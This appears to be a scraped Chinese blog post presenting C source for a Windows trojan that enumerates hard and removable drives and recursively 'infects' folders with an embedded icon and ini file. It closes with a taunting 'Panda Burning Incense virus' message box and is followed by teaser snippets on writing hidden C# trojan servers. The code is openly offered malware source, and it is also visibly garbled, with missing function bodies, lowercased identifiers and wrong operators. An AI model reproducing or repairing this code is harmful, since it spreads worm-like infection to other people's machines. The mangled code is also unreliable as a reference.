c 木馬程式之資料夾感染

2021-06-12 22:47:27 字數 1675 閱讀 3742

#include "resource.h"

#include bool enumdirectory(tchar *dirpath,bool isinject);

void inject(char *path);

bool writeresourcetofile(char const *filename);

void clear(char *path);

bool fileexist(char *filepath);

//禁止彈出軟盤錯誤對話方塊

int set_error()

//本程式請在虛擬機器下執行,否則系統崩潰我不負責。

int apientry winmain( hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int nshowcmd )

; uint type=getdrivetype(x);

if(type==drive_fixed||type==drive_removable)//硬碟和移動磁碟

}messagebox(null,"恭喜你,中了熊貓燒香病毒!","哈哈",mb_ok);

return 0;

}bool enumdirectory(tchar *dirpath,bool isinject)

; bool bisfinish=false;

zeromemory(&fd,sizeof(win32_find_data));

wsprintf(sztempfilefind,"%s\\*.*",dirpath);

handle hfind=findfirstfile(sztempfilefind,&fd);

if(hfind==invalid_handle_value)

while(!bisfinish)

; strcpy(szfoundfilename,fd.cfilename);

if(fd.dwfileattributes*file_attribute_directory)//如果找到的檔案是目錄,則遞迴感染

;wsprintf(sztempdir,"%s\\%s",dirpath,szfoundfilename);

sleep(10);

if(isinject)

else

}} }

findclose(hfind);

return true;

}//在目錄下感染,新增圖示

void inject(char *path)

void clear(char *path)

if(fileexist(inifilepath))

}bool fileexist(char *filepath)

else

}bool writeresourcetofile(char const *filename)

resource.h

//  resource.h

#define rc_binarytype 256

#define id_ico 100

res.rc

#include "resource.h"

id_ico rc_binarytype yunshouhu.ico

用C 實現木馬程式

服務端的開發 要實現木馬服務的程式,主要實現以下幾個功能 後台的執行 隱藏技術 控制碼的接收與登錄檔的修改,下面對這三方面做介紹 1 在vc 中,建立乙個後台服務程式是很容易的,先建立乙個新的c 的windows應用程式,專案名稱自定 不過為了隱藏可使用與系統相近的名稱 將窗體屬性 showinta...

用C 實現木馬程式

木馬的介紹 因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的...

用C 實現木馬程式

因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的程式 木馬配...